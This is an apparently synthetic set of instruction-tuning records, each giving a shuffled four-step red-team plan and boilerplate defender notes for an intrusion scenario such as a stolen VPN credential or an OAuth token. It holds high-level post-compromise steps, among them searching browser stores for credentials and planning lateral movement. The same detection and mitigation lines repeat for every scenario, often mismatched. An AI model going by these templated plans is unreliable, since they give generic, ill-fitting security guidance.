{"instruction": "Exposed remote management interface reachable: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Exposed remote management interface reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 4: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Supplier/third-party compromise suspected: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Supplier/third-party compromise suspected", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Supplier/third-party compromise suspected: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Supplier/third-party compromise suspected", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "User opened document with embedded macro", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 3: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 3: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 4: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Stolen VPN credential allowing remote access: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Stolen VPN credential allowing remote access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 3: Map the local network perspective and identify what domain resources are reachable.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "User opened document with embedded macro", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Exposed remote management interface reachable: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Exposed remote management interface reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "User opened document with embedded macro", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Public-facing web app with possible misconfiguration: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Public-facing web app with possible misconfiguration", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 3: Map the local network perspective and identify what domain resources are reachable.\n\nStep 4: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "User opened document with embedded macro: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "User opened document with embedded macro", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 3: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Phishing foothold on user workstation: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Phishing foothold on user workstation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 4: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Stolen VPN credential allowing remote access: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Stolen VPN credential allowing remote access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Map the local network perspective and identify what domain resources are reachable.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Exposed remote management interface reachable: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Exposed remote management interface reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Stolen VPN credential allowing remote access: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Stolen VPN credential allowing remote access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 3: Map the local network perspective and identify what domain resources are reachable.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Public-facing web app with possible misconfiguration: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Public-facing web app with possible misconfiguration", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "User opened document with embedded macro: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "User opened document with embedded macro", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Exposed remote management interface reachable: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Exposed remote management interface reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Supplier/third-party compromise suspected: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Supplier/third-party compromise suspected", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Stolen VPN credential allowing remote access: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Stolen VPN credential allowing remote access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Search non-destructively for credential material in user profiles and browser stores.\n\nStep 3: Map the local network perspective and identify what domain resources are reachable.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Supplier/third-party compromise suspected: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Supplier/third-party compromise suspected", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Public-facing web app with possible misconfiguration: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Public-facing web app with possible misconfiguration", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 3: Map the local network perspective and identify what domain resources are reachable.\n\nStep 4: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "User opened document with embedded macro", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Phishing foothold on user workstation: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Phishing foothold on user workstation", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Compromised webmail session token obtained", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 4: Map the local network perspective and identify what domain resources are reachable.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 3: Enumerate visible services and shares without altering state to avoid noisy detection.\n\nStep 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "OAuth app consent token acquired", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Map the local network perspective and identify what domain resources are reachable.\n\nStep 3: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nStep 4: Search non-destructively for credential material in user profiles and browser stores.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
